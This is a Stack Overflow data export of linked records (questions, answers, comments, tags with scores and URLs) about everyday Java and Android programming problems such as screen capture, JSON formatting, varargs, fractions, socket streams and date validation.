has body: I have the following code in which what I actually want is that when I click the button, the jLabel should show '1' and then click an image of it and save and then for '2', '3' and so on... private void StartActionPerformed(java.awt.event.ActionEvent evt) { for(int i=0; i&lt;5; i++){ Numbers.setText(""+i); System.out.println("Begin"+i); BufferedImage image = null; try { image = new Robot().createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize())); } catch (AWTException ex) { Logger.getLogger(Flash_Cards.class.getName()).log(Level.SEVERE, null, ex); } try { ImageIO.write(image, "png", new File("E:/Data/Card_" + i + ".png")); } catch (IOException ex) { Logger.getLogger(Flash_Cards.class.getName()).log(Level.SEVERE, null, ex); } System.out.println("End"+i); } } But I am getting these images instead: Update: My file structure:
has comment: http://stackoverflow.com/comment/33807225
has comment: http://stackoverflow.com/comment/33807249
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33807140

http://stackoverflow.com/q/22260539
has title: How to use same reference to refer to more than one class
type: Question
has comment: http://stackoverflow.com/comment/33811951
has comment: http://stackoverflow.com/comment/33811840
has comment: http://stackoverflow.com/comment/33811589
has comment: http://stackoverflow.com/comment/33811641
has comment: http://stackoverflow.com/comment/33811804
has comment: http://stackoverflow.com/comment/33811646
has comment: http://stackoverflow.com/comment/33812434
has comment: http://stackoverflow.com/comment/33811529
score: 0
has answer: http://stackoverflow.com/a/22261245
answer count: 3
has answer: http://stackoverflow.com/a/22261426
favorite count: 0
has comment: http://stackoverflow.com/comment/33811632
has body: I need to send the same data to more than one class. My professor gave us a semi-completed driver file, and he uses the same reference to refer to 2 different classes so you can send the same data in one method call, to two classes. However this results in an error. I have been trying to make it work, even by giving them different references and calling the methods twice but it still won't work. It also says that it cannot find symbol "SortedStringListReferenceBased_solution" which is in the signature of the methods. Please help. public class SortedStringListDriver { public static void main(String [] args) { SortedStringListArrayBased myGroceryList = new SortedStringListArrayBased(); SortedStringListReferenceBased myGroceryList = new SortedStringListReferenceBased(); myGroceryList.add("milk"); myGroceryList.add("eggs"); myGroceryList.add("butter"); myGroceryList.add("pecans"); myGroceryList.add("apples"); myGroceryList.add("bread"); myGroceryList.add("chicken"); myGroceryList.add("black beans"); myGroceryList.add("rice"); myGroceryList.add("sausage"); myGroceryList.add("flour"); printList(myGroceryList);//print out original List System.out.print("numItems for array based list is now: "+myGroceryList1.size()+"\n\n"); adding(myGroceryList, "juice"); removing(myGroceryList, "juice"); adding(myGroceryList, "banana"); removing(myGroceryList, "sausage"); removing(myGroceryList, "cheese"); } public static void adding(SortedStringListReferenceBased_solution myList, String str) { System.out.println("Adding " + str + " ..."); myList.add(str); //add juice printList(myList); System.out.print("numItems for array based list is now: " + myList.size() + "\n\n"); } public static void removing(SortedStringListReferenceBased_solution myList, String str) { System.out.println("Removing " + str + " ..."); myList.remove(str); printList(myList); System.out.print("numItems is now: " + myList.size() + "\n\n"); } public static void printList(SortedStringListReferenceBased_solution myList) { /…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33811478
upvote count: 1
has answer: http://stackoverflow.com/a/22261363
downvote count: 1
has comment: http://stackoverflow.com/comment/33811681
tagged with: java
has comment: http://stackoverflow.com/comment/33812036
has comment: http://stackoverflow.com/comment/33812178
has comment: http://stackoverflow.com/comment/33811853

http://stackoverflow.com/comment/33684692
comment on: http://stackoverflow.com/a/22182264
score: 0
has text: @maczikasz Hope it helps you make a decision that is right for you ;)
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33868550
type: Comment
type: QuestionComment
has text: @Biraj Zalavadia.I edited my post.i add my json response along with my question.
score: 0
comment on: http://stackoverflow.com/q/22291968

http://stackoverflow.com/comment/33921619
type: AnswerComment
type: Comment
has text: So I guess I have faulty JVM.
comment on: http://stackoverflow.com/a/22322168
score: 0

http://stackoverflow.com/q/22267613
score: -1
accepted answer: http://stackoverflow.com/a/22267763
has comment: http://stackoverflow.com/comment/33823867
answer count: 3
has answer: http://stackoverflow.com/a/22267673
has comment: http://stackoverflow.com/comment/33824244
downvote count: 1
has answer: http://stackoverflow.com/a/22267763
has body: Just want to ask what is the best way to transform a json string from: {"scenario":{"title":"User1_PrivatePrint_1Pg_Duplex_BW_A4","description":"Private Print 1 Page Duplex B/W A4 Job","sequences":[{"spiMethod":"notifyAuthenticationStatus","parameter":{"AuthenticationStatus":{"AuthenticationState":"Authenticated","AuthenticationAttributes":{"UserAttributes":{"UserId":"user1","CustomAttribute":"Role1","UserType":"Co"}}}}},{"spiMethod":"validateJobCreation","parameter":{"JobCreationConditions":{"JobAttributes":{"StoredDocumentAttributes":{"UserJobType":"PrivateSpool"},"UserJobType":"PrivatePrint","JobAttributesInPrinting":{"ColorMode":"BW"}}}}}]}} to this one: { "scenario":{ "title":"User1_PrivatePrint_1Pg_Duplex_BW_A4", "description":"Private Print 1 Page Duplex B/W A4 Job", "sequences":[ { "spiMethod":"notifyAuthenticationStatus", "parameter":{ "AuthenticationStatus":{ "AuthenticationState":"Authenticated", "AuthenticationAttributes":{ "UserAttributes":{ "UserId":"user1", "CustomAttribute":"Role1", "UserType":"Co" } } } } }, { "spiMethod":"validateJobCreation", "parameter":{ "JobCreationConditions":{ "JobAttributes":{ "StoredDocumentAttributes":{ "UserJobType":"PrivateSpool" }, "UserJobType":"PrivatePrint", "JobAttributesInPrinting":{ "ColorMode":"BW" } } } } } ] } } i searched online and found that i can use regular expressions but since i am new to java i do not know to use these expressions. thank you.
favorite count: 0
linked to: http://stackoverflow.com/q/22089791
possible better answer: http://stackoverflow.com/a/22267673
has comment: http://stackoverflow.com/comment/33823810
has title: How to parse a string to add line feed and tab after a curly brace/square bracket in java
type: AnsweredQuestion
upvote count: 0
has answer: http://stackoverflow.com/a/22267734
tagged with: java
tagged with: http://stackoverflow.com/tag/json
type: Question

http://stackoverflow.com/a/29198135
has body: Answering exactly the question, You can use the embedded method toSource() to parse the tree structure to the rule. Answering your subquestion, if I understood it, there is two methods that can get the result's components: prefix() and graph(). Another possibility is to extend the class or change the sources to access the internal data structures. Yet another option is to use a third party library like this: J48Parser Output from each method: graph -------------- digraph J48Tree { N0 [label="V2" ] N0-&gt;N1 [label="&lt;= 0.561"] N1 [label="V2" ] N1-&gt;N2 [label="&lt;= -0.857"] N2 [label="1 (1426.0/427.0)" shape=box style=filled ] N1-&gt;N3 [label="&gt; -0.857"] N3 [label="V1" ] N3-&gt;N4 [label="&lt;= 0.155"] N4 [label="2 (1149.0/180.0)" shape=box style=filled ] N3-&gt;N5 [label="&gt; 0.155"] N5 [label="1 (1000.0/490.0)" shape=box style=filled ] N0-&gt;N6 [label="&gt; 0.561"] N6 [label="1 (1716.0/487.0)" shape=box style=filled ] } prefix --------------- [V2: &lt;= 0.561, &gt; 0.561[V2: &lt;= -0.857, &gt; -0.857[1 (1426.0/427.0)][V1: &lt;= 0.155, &gt; 0.155[2 (1149.0/180.0)][1 (1000.0/490.0)]]][1 (1716.0/487.0)]] toSource --------------- class bla { public static double classify(Object[] i) throws Exception { double p = Double.NaN; p = bla.N37374a5e0(i); return p; } static double N37374a5e0(Object []i) { double p = Double.NaN; if (i[1] == null) { p = 1; } else if (((Double) i[1]).doubleValue() &lt;= 0.561) { p = bla.N4671e53b1(i); } else if (((Double) i[1]).doubleValue() &gt; 0.561) { p = 0; } return p; } static double N4671e53b1(Object []i) { double p = Double.NaN; if (i[1] == null) { p = 0; } else if (((Double) i[1]).doubleValue() &lt;= -0.857) { p = 0; } else if (((Double) i[1]).doubleValue() &gt; -0.857) { p = bla.N2db7a79b2(i); } return p; } static double N2db7a79b2(Object []i) { double p = Double.NaN; if (i[0] == null) { p = 1; } else if (((Double) i[0]).doubleValue() &lt;= 0.155) { p = 1; } else if (((Double) i[0]).doubleValue() &gt; 0.155) { p = 0; } return …
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22171760

http://stackoverflow.com/a/22200307
has body: No need to store your data (game state) in the ImageView (which breaks the MVC pattern). That's error prone and convoluted. You can do it more cleanly (robustly) like this. private int mGallowsState=0; private static final int[] GALLOWS_IMG_RESOURCES = { R.drawable.gallows1, R.drawable.gallows2, R.drawable.gallows3, R.drawable.gallows4, R.drawable.gallows5, R.drawable.gallows6 }; public void incrementGallows(){ mGallowsState = (mGallowsState+1) % GALLOWS_IMG_RESOURCES.length; //The "% GALLOWS_IMG_RESOURCES.length" is only if you want to cycle it around //The alternative would be to immediately return if //(mGallowsState &gt;= GALLOWS_IMG_RESOURCES.length) ((ImageView) findViewById(R.id.imageView1)) .setImageResource(GALLOWS_IMG_RESOURCES[mGallowsState]); }
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22199858

http://stackoverflow.com/a/41418437
has body: You need to set a boolean that determines whether we have already played the sound. boolean soundHasPlayed = false; while( we are in MainMenu state ) { if(mouse is in position X = &lt;0,100&gt; and Y = &lt;0,100&gt;){ if (!soundHasPlayed) // only do this if we haven't played the sound yet { Sound_1.play(1.0f, 1.0f); drawButton( X = 0, Y = 0, X2 = 100, Y2 = 100); soundHasPlayed = true; // don't play it again until we leave the button } } else { // We left the button, so we can play it again if we ever enter the button again. // (Omit this if you really only want it to play once, ever, even if they mouse over the button again.) soundHasPlayed = false; } }
answers question: http://stackoverflow.com/q/22270123
score: 0
type: Answer

http://stackoverflow.com/a/22240487
has comment: http://stackoverflow.com/comment/33774975
type: Answer
has comment: http://stackoverflow.com/comment/33775527
score: 14
has comment: http://stackoverflow.com/comment/33775269
downvote count: 0
has comment: http://stackoverflow.com/comment/33775229
has body: "please tell me an easy way how to draw the whole animation?!" It may have to to do with how you're reading in the image. If you use ImageIO.read, it won't work. If you read it as an ImageIcon it seems to work ImageIcon.getImage() Image icon = new ImageIcon(new URL("https://i.sstatic.net/KSnus.gif")).getImage(); ... g.drawImage(icon, 20, 20, this); Image with ImageIO Image icon = ImageIO.read(new URL("https://i.sstatic.net/KSnus.gif")); ... g.drawImage(icon, 20, 20, this);
has comment: http://stackoverflow.com/comment/33775304
has comment: http://stackoverflow.com/comment/33775136
has comment: http://stackoverflow.com/comment/33775386
has comment: http://stackoverflow.com/comment/33775358
has comment: http://stackoverflow.com/comment/33774938
has comment: http://stackoverflow.com/comment/33775333
upvote count: 14
has comment: http://stackoverflow.com/comment/33775426
accepted answer of: http://stackoverflow.com/q/22240328
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22240328
has comment: http://stackoverflow.com/comment/33775390

http://stackoverflow.com/comment/33946466
comment on: http://stackoverflow.com/a/22311254
has text: *"..would be easier than converting to an applet"* The 'converting to an applet' is the *easy* part. ***Deploying the applet*** is the hard part.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33746403
comment on: http://stackoverflow.com/q/22225268
score: 0
type: QuestionComment
type: Comment
has text: So you want a method that returns an array or arraylist containing the strings `10`, `2`, and `5`?

http://stackoverflow.com/q/22170625
has answer: http://stackoverflow.com/a/22176239
has comment: http://stackoverflow.com/comment/33648707
upvote count: 2
type: UnansweredQuestion
tagged with: floating-point
downvote count: 1
score: 1
tagged with: java
has body: Of course, System.out.println( 0.1 ); outputs 0.1. But is it always true for an arbitrary decimal? (EXCLUDE cases which result from the precision of double number itself. Such as, System.out.println( 0.10000000000000000001); outputs 0.1) When I hit System.out.println( DECIMAL ); I think, DECIMAL is converted into binary(double) and that binary is converted into decimal (to output decimal as String) Think about the following conversion. decimal[D1] -> (CONVERSION1) -> binary[B] -> (CONVERSION2) -> decimal[D2] CONVERSION1: (within the range of significant digits of double) The nearest binary of [D1] is selected as [B] e.g. [D1] 0.1 -> [B] 0x0.1999999999999a CONVERSION2: [D2] is the decimal number which can uniquely distinguish [B] and has smallest digits. e.g. [B] 0x0.1999999999999a -> [D2] 0.1 QUOTE Java7 API Double.toString(double d) How many digits must be printed for the fractional part of m or a? There must be at least one digit to represent the fractional part, and beyond that as many, but only as many, more digits as are needed to uniquely distinguish the argument value from adjacent values of type double. That is, suppose that x is the exact mathematical value represented by the decimal representation produced by this method for a finite nonzero argument d. Then d must be the double value nearest to x; or if two double values are equally close to x, then d must be one of them and the least significant bit of the significand of d must be 0. My Question : Is "[D1]=[D2]" always true? Why I ask this Question : Thinking about the following case, save user's decimal input as double -> display that decimal I'm wondering whether [ user's input = display ] is guaranteed or not. (As mentioned above, exclude the cases which result from the precision of double number itself. Since that long input is rare case.) I know when I need accurate arithmetic, I should use BigDecimal. But in this case, I don't need accurate arithmetic. Just want to display the same decimal as user'…
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/22170889
has title: Does "System.out.println( DECIMAL )" always output the same DECIMAL in the code?
has comment: http://stackoverflow.com/comment/33648330
tagged with: floating-point-precision
favorite count: 0

http://stackoverflow.com/comment/33669624
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22175509
has text: there is endless difference between available listeners for AWT and Swing, for JTextArea is there implemented hight abstraction
score: 1

http://stackoverflow.com/q/22227407
tagged with: java
has comment: http://stackoverflow.com/comment/33750015
tagged with: methods
downvote count: 1
tagged with: optional-parameters
accepted answer: http://stackoverflow.com/a/22227532
type: Question
tagged with: option-type
has answer: http://stackoverflow.com/a/22227902
possible better answer: http://stackoverflow.com/a/22227492
has title: Have multiple optional parameters in Java
has body: I am trying to have optional parameters in my method. I found the boolean... test, and it works. But whenever I try it with a second one, it doesn't work. Is there a possibility to put two or more (of same type eg: 2 optional booleans) in the parameter list? Code I have now: public void addJButton(boolean... yo){} What I want: public void addJButton(boolean... yo, boolean... yo2){}
answer count: 6
has comment: http://stackoverflow.com/comment/33749975
has comment: http://stackoverflow.com/comment/51433428
has comment: http://stackoverflow.com/comment/51393238
has answer: http://stackoverflow.com/a/31728803
favorite count: 0
has answer: http://stackoverflow.com/a/22227532
linked to: http://stackoverflow.com/q/965690
has answer: http://stackoverflow.com/a/22227590
has answer: http://stackoverflow.com/a/47827808
tagged with: parameters
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/22227492
upvote count: 3
has comment: http://stackoverflow.com/comment/33749889

http://stackoverflow.com/comment/33955253
type: Comment
has text: Thanks Hirak, I guess it means that there is nothing available out-of-the-box.
comment on: http://stackoverflow.com/a/22293098
score: 0
type: AnswerComment

http://stackoverflow.com/q/22231401
tagged with: onclick
score: 1
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33757631
upvote count: 2
has comment: http://stackoverflow.com/comment/33757563
tagged with: random
answer count: 3
has body: I have a question that I really don't know if it's possible realize it. This is the situation; I have five methods and one button. Actually if I want call a method tapping the button I write: btnore.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View arg0) { //i call the method I need Met_one(); } }); What I need is do something like: btnore.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View arg0) { // a random function call the methods. Random = random of the methods(Met_one, Met_two,Met_three,Met_four,Met_five) } }); So in this way when I tap the button sometimes it does a kind of action and sometimes another one at random. It's it possible?
has title: Call random methods in Android
has comment: http://stackoverflow.com/comment/33757451
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/22231510
tagged with: android
has answer: http://stackoverflow.com/a/22231590
accepted answer: http://stackoverflow.com/a/22231590
possible better answer: http://stackoverflow.com/a/22231974
has answer: http://stackoverflow.com/a/22231974
type: AnsweredQuestion

http://stackoverflow.com/a/22198920
has comment: http://stackoverflow.com/comment/33698982
has comment: http://stackoverflow.com/comment/33699040
answers question: http://stackoverflow.com/q/22198762
has comment: http://stackoverflow.com/comment/33698884
score: 0
type: Answer
has body: ... = new ArrayList&lt;&gt;(argument); you can pass number or iteratable object to the argument You need to assign with, class B extends A { List&lt;String&gt; paste = copy; } This code will assign reference of copy object of class A to local object of class B. To create clone, List&lt;String&gt; paste = (ArrayList&lt;String&gt;)copy.clone();
has comment: http://stackoverflow.com/comment/33698948

http://stackoverflow.com/a/22298553
upvote count: 2
accepted answer of: http://stackoverflow.com/q/22298375
answers question: http://stackoverflow.com/q/22298375
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33879243
type: Answer
score: 2
has body: You shouldn't use DataOutputStream.writeUTF() unless you are using DataOutputStream.readUTF() to read the message. Here is a snippet of the javadoc of writeUTF(): Writes a string to the underlying output stream using modified UTF-8 encoding in a machine-independent manner. First, two bytes are written to the output stream as if by the writeShort method giving the number of bytes to follow. This value is the number of bytes actually written out, not the length of the string. Following the length, each character of the string is output, in sequence, using the modified UTF-8 encoding for the character. If no exception is thrown, the counter written is incremented by the total number of bytes written to the output stream. This will be at least two plus the length of str, and at most two plus thrice the length of str. The bolded part above may tell you why you are getting weird characters at the beginning of your message. Here is a workaround I believe will work in your case BufferedOutputStream out = new BufferedOutputStream(socket.getOutputStream()); out.write(os.getBytes("UTF-8")); Reference: Why does DataOutputStream.writeUTF() add additional 2 bytes at the beginning?

http://stackoverflow.com/comment/33756136
type: Comment
has text: Those milliseconds you refer to must not contain the whole date, just the hours, minutes, seconds and milliseconds. Otherwise you will end up with a huge number :)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22230615

http://stackoverflow.com/a/22235995
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: The problem is that you must explicitly state what to import in this case since both classes have a MAX_VALUE constant. If you open the source code you'll see. Since you can't assign an alias in java you are stuck with using Integer.MAX_VALUE/Long.MAX_VALUE. Just a side note: I do not suggest a static import for Integer.MAX_VALUE (nor Long.MAX_VALUE) because if you have a rather big class and in the middle you reference MAX_VALUE then someone in the future will scratch his head asking "Whose max value are we talking about?"
accepted answer of: http://stackoverflow.com/q/22235928
upvote count: 7
has comment: http://stackoverflow.com/comment/111199487
answers question: http://stackoverflow.com/q/22235928
score: 7

http://stackoverflow.com/comment/33693044
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22173134
has text: You might be right, I can't see them anywhere inside! Only armeabi and armeabi-v7a are inside the lib folder of my .apk. How do I add the gdx.jar?

android-ndk
tags question: http://stackoverflow.com/q/22265634
type: Tag
tag name: android-ndk
tags question: http://stackoverflow.com/q/22326302
tags question: http://stackoverflow.com/q/22289862
tags question: http://stackoverflow.com/q/22216322

http://stackoverflow.com/a/22213904
type: Answer
has comment: http://stackoverflow.com/comment/33727357
upvote count: 1
answers question: http://stackoverflow.com/q/22213660
has comment: http://stackoverflow.com/comment/33728334
score: 1
accepted answer of: http://stackoverflow.com/q/22213660
has comment: http://stackoverflow.com/comment/33728450
type: AcceptedAnswer
downvote count: 0
has body: The issue is pretty clear. You are getting an access denied error to the server. The tricky part now is figuring out why. You should start with making sure the username and password used to create the session object is correct. Then make sure that user has access to the server and has access to run Java code on the server. You'll have to check the server document in the Directory for that.

http://stackoverflow.com/a/22277193
type: Answer
accepted answer of: http://stackoverflow.com/q/22277154
has body: You can use a matcher to cycle through each match in your string: import java.util.regex.Pattern; import java.util.regex.Matcher; /** &lt;P&gt;{@code java RegexForRepeatingString}&lt;/P&gt; **/ public class RegexForRepeatingString { public static final void main(String[] ignored) { String sRegex = "\\b[a-z]+:[+-]?[a-z_0-9]+\\b"; String sToSearch = "keya:valuea|keyb:valueb|keyc:valuec|keyd:valued"; Matcher m = Pattern.compile(sRegex).matcher(sToSearch); while(m.find()) { System.out.println(m.group()); } } } Output: [C:\java_code\]java RegexForRepeatingString keya:valuea keyb:valueb keyc:valuec keyd:valued
score: 4
upvote count: 4
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22277154

http://stackoverflow.com/a/22260408
has comment: http://stackoverflow.com/comment/33812032
has comment: http://stackoverflow.com/comment/33812636
has comment: http://stackoverflow.com/comment/33813526
answers question: http://stackoverflow.com/q/22259413
type: Answer
has comment: http://stackoverflow.com/comment/33812416
has body: I see one potential issue in "disconnect". I think you're trying to close the socket when the output stream is still opened. In this case, the socket may not close properly which may cause issues in reopening. Although you should see an exception being thrown during closing. In disconnect(), can you try closing output first before closing the socket? public void disconnect(){ try{ output.close(); s.close(); connected = false; } catch(Exception e){ panel.setText("Error: " + e.getMessage()); } } I don't have the context of this problem, but that's one potential issue I saw. Hopefully it helps.
downvote count: 1
has comment: http://stackoverflow.com/comment/33812670
upvote count: 0
score: -1
has comment: http://stackoverflow.com/comment/33811197

http://stackoverflow.com/q/22214293
has comment: http://stackoverflow.com/comment/33728199
score: 0
has comment: http://stackoverflow.com/comment/33727749
linked to: http://stackoverflow.com/q/7332268
tagged with: compare
has comment: http://stackoverflow.com/comment/33742650
has comment: http://stackoverflow.com/comment/33727658
answer count: 0
type: UnansweredQuestion
has body: Basically as you can see from the code, I want the user to enter a date, (start date &amp; end date) but I want to make sure that the system doesn't let he user type in something else. and the user should be able to type it again. Where am I going wrong? System.out.println("Enter your date here: "); Scanner scan = new Scanner (System.in); UserInput = scan.nextLine(); SimpleDateFormat dateFormat = new SimpleDateFormat("dd-MM-yyyy"); Date date = new SimpleDateFormat("dd-MM-yyyy").parse(UserInput); while (true) { if (!isValidDate(date)){ System.out.println(dateFormat.format(date)); break; } else { System.out.println("That is not a valid date! Please enter again (dd-mm-yy): "); UserInput = scan.nextLine(); break; } } private static boolean isValidDate(Date date) { // TODO Auto-generated method stub return false; } and also if I will finally manage to do this? how can I add it an array saved in another class? my array are like this arrayUsers[0] = new User("User", "One", 1234, 1234, 0); arrayUsers[1] = new User("User2", "Two" , 4321, 4321, 0); I would like to add these "start date &amp; date" here, but after 0 at the end of array. Thanks
tagged with: java
tagged with: date
has comment: http://stackoverflow.com/comment/33727660
type: Question
has comment: http://stackoverflow.com/comment/33730011
tagged with: arrays
has title: How to check a date input by user to see if correct format in java?

http://stackoverflow.com/comment/33783514
type: AnswerComment
has text: Your understanding is still not sufficient. On Intel CPU architecture, for example, a memory fence is not needed at all because the CPU itself guarantees proper visibility and ordering of writes. So it's just a single `mov` instruction, and on a different architecture it will at most take one additional memory fence instruction.
type: Comment
comment on: http://stackoverflow.com/a/22224187
score: 0

http://stackoverflow.com/q/22208879
tagged with: timer
has answer: http://stackoverflow.com/a/22220305
has comment: http://stackoverflow.com/comment/33720159
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/13194201
tagged with: swt
has comment: http://stackoverflow.com/comment/33717762
downvote count: 0
has title: javax.swing.Timer equivalent in SWT?
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22210352
type: Question
answer count: 2
upvote count: 1
favorite count: 0
has body: I need some means to run code on user-interface thread with delay and with ability to abort waiting. This can be done by javax.swing.Timer in Swing. Is there similar functionality in SWT? Display#timerExec has no apparent ability to cancel future running.
has comment: http://stackoverflow.com/comment/33719923

http://stackoverflow.com/a/22274587
type: Answer
has comment: http://stackoverflow.com/comment/33836596
upvote count: 4
has comment: http://stackoverflow.com/comment/33841934
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22274546
score: 4
answers question: http://stackoverflow.com/q/22274546
has body: You should implement your own Comparator to define such an ordering: Collections.sort(list, new Comparator&lt;String&gt;() { @Override public int compare(String s1, String s2) { if (/* s1 is lower case and s2 is upper case */) { return 1; } if (/* s1 is upper case and s2 is lower case */) { return -1; } return s1.compareTo(s2); } });
type: AcceptedAnswer

http://stackoverflow.com/comment/45753983
score: 0
comment on: http://stackoverflow.com/a/22368859
type: Comment
has text: Please see one of the issue that I have started in github
type: AnswerComment

http://stackoverflow.com/q/22316660
answer count: 2
has title: Issue with subtracting a negative fraction in Java
downvote count: 0
favorite count: 0
has body: For some reason, I'm getting the correct result, but my negative sign is having issues. For example, if I do 1/4 - (-2/4), I get (-3/4). Here is my minus method for subtracting fractions. /** Subtracts a fraction from another fraction. @param toUse, the fraction to subtract. @return minusFraction, the result after subtraction. */ public Fraction minus(Fraction toUse) { int newNum = ((toUse.numerator * denominator) - (numerator * toUse.denominator)); int newDen = denominator * toUse.denominator; Fraction minusFraction = new Fraction(newNum, newDen); return minusFraction; } Here is my reduce() method, just in case... /** Reduces the fraction, if possible, to it's simplest form. Converts negative fractions to the form -x/y, or if -x/-y --&gt; x/y */ private void reduce() { int lowest = Math.abs(numerator); int highest = Math.abs(denominator); if (lowest &gt; highest) { int temp = highest; highest = lowest; lowest = temp; } while (lowest != 0) { int temp = lowest; lowest = highest % lowest; highest = temp; } numerator /= highest; denominator /= highest; if (denominator &lt; 0) { numerator *= -1; denominator *= -1; } } I only switched an operator from my previous addition method, given here as well. I think only switching the + to a - may have caused my issue. /** Adds two fractions together. @param toUse, the fraction to be added. @return plusFraction, the sum of the two fractions. */ public Fraction plus(Fraction toUse) { int newNum = ((toUse.numerator * denominator) + (numerator * toUse.denominator)); int newDen = denominator * toUse.denominator; Fraction plusFraction = new Fraction(newNum, newDen); return plusFraction; }
type: UnansweredQuestion
upvote count: 1
has answer: http://stackoverflow.com/a/22316802
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22316807
type: Question

http://stackoverflow.com/a/22268802
answers question: http://stackoverflow.com/q/22268706
has body: Install the Java SE Development Kit from http://java.sun.com/javase/downloads/index.jsp. Once installed, you should find an archive called src.zip in the top of the JDK installation directory. The Java source code is in there.
downvote count: 1
upvote count: 0
has comment: http://stackoverflow.com/comment/33828483
score: -1
type: Answer

http://stackoverflow.com/comment/33744695
type: Comment
has text: please show me the code of test.jsp
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/22224341

http://stackoverflow.com/comment/33836740
has text: @SkilletSpecial Edited to fit your requirements. You can declare the array first, and then when you have `x` you can *initialize* it. Note that if you do this, you can get `null` if you enter the second `if`and the array was not initalized yet. To check this you can use `if (oClassList != null)`
comment on: http://stackoverflow.com/a/22274543
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/22292260
type: Answer
score: 1
upvote count: 1
has body: You need to keep track of whether the previous read was a digit. If so and you get another digit, then you should pop the value off the stack, multiply it by 10, add the digit you just read and push it back onto the stack. You will also need to separate digits that belong to different number. On most RPN calculators, there is an "Enter" button for that purpose. So pick a separator for that.
downvote count: 0
answers question: http://stackoverflow.com/q/22292184

http://stackoverflow.com/q/22236445
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33768725
has comment: http://stackoverflow.com/comment/33769366
tagged with: java
has body: In my android application, i have an image upload form that allows a user to select a picture from the gallery. The gallery is launched successfully but when I select a pic the application crashes and gives an npe. The weird thing is that the logcat says the npe occurred in an activity that didn't launch the image picker. So: New party activity launches flyer upload activity. Flyer upload activity launches image picker for result. I select an image and the application attempts to return to flyer upload activity but it crashes and points to npe in new party activity. Why would it do that? I'm posting this from my phone so I will update this post with the code and logcat info in a second @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_flyer_upload); imageView = (ImageView) findViewById(android.R.id.icon); session = new SessionManager(getApplicationContext()); savedPartyId = session.getCurrentPartyDetails(); //Party service is built to make api calls. Partyendpoint.Builder partyBuilder = new Partyendpoint.Builder(AndroidHttp.newCompatibleTransport(), new GsonFactory(), null); partyService = partyBuilder.build(); //get the party you just saved in the last activity if(savedParty == null){ getSavedParty(savedPartyId); } } public void pickPhoto(View view) { //TODO: launch the photo picker Intent picintent = new Intent(); picintent.setType("image/*"); picintent.setAction(Intent.ACTION_GET_CONTENT); startActivityForResult(Intent.createChooser(picintent, "Select Picture"), SELECT_PICTURE); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if(resultCode == RESULT_OK) { bitmap = getPath(data.getData()); imageView.setImageBitmap(bitmap); } } logcat info: 03-06 16:12:20.036: E/AndroidRuntime(5366): FATAL EXCEPTION: main 03-06 16:12:20.036: E/AndroidRuntime(5366): java.lang.RuntimeException: Unable to star…
type: Question
score: 0
has comment: http://stackoverflow.com/comment/33767443
tagged with: android
has comment: http://stackoverflow.com/comment/33769056
answer count: 0
has title: android image upload form crash

http://stackoverflow.com/a/22200122
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22199690
score: 4
type: Answer
has body: jME uses an approach that's very common in a lot of game engines (and also used in some other user interface libraries such as Swing). Everything that the game engine does is done in one thread. This can be called the LWJGL thread but as jME can work with alternatives to LWJGL it's more generic to call it the Render Thread or just the jME Thread. Everything is indeed done on the Render thread, and it does indeed use a polling mechanism. For example if you are holding down the "left" key then each frame the relevant control or app state will be called on the render thread and will move you left by an amount modified by tpf. Tpf is time-per-frame and is very important for keeping smooth movement and letting game systems run at the same speed independently of frame rate. The only thing within jME3 that commonly uses a separate thread is the Physics Engine. That has a thread that it uses for doing the physics updates and then changes are pushed through to the Render thread using appropriate mechanisms. The system handles this for you though so it is not something you need to worry about. The thread runs around a game loop. Each time around the loop it checks for things it needs to do (like enqueued tasks, initialize app states, render, etc. It calls update in each active Controller and control, etc). Once it has finished updating everything it then goes on to perform the render. All of this happens every single frame, but computers are so fast that it can still handle all of that and render the game at good frame rates. That's an implementation detail that you shouldn't need to worry about except to know that it will definitely work. The adding actually gets queued up and handled in the next frame I think. Everything is handled from the same loop. jME calls through to Nifty to allow Nifty to do its processing. As part of that processing Nifty detects the events and fires off the callback. This means that the callbacks are already coming in on the render thread so you ca…
has comment: http://stackoverflow.com/comment/33702823
upvote count: 4
has comment: http://stackoverflow.com/comment/33701947
answers question: http://stackoverflow.com/q/22199690

http://stackoverflow.com/a/22321859
type: Answer
has comment: http://stackoverflow.com/comment/33920741
score: 41
has comment: http://stackoverflow.com/comment/33921190
has comment: http://stackoverflow.com/comment/70963288
has comment: http://stackoverflow.com/comment/33921736
has comment: http://stackoverflow.com/comment/72338732
has comment: http://stackoverflow.com/comment/33921349
upvote count: 42
has comment: http://stackoverflow.com/comment/33920985
accepted answer of: http://stackoverflow.com/q/22321109
downvote count: 1
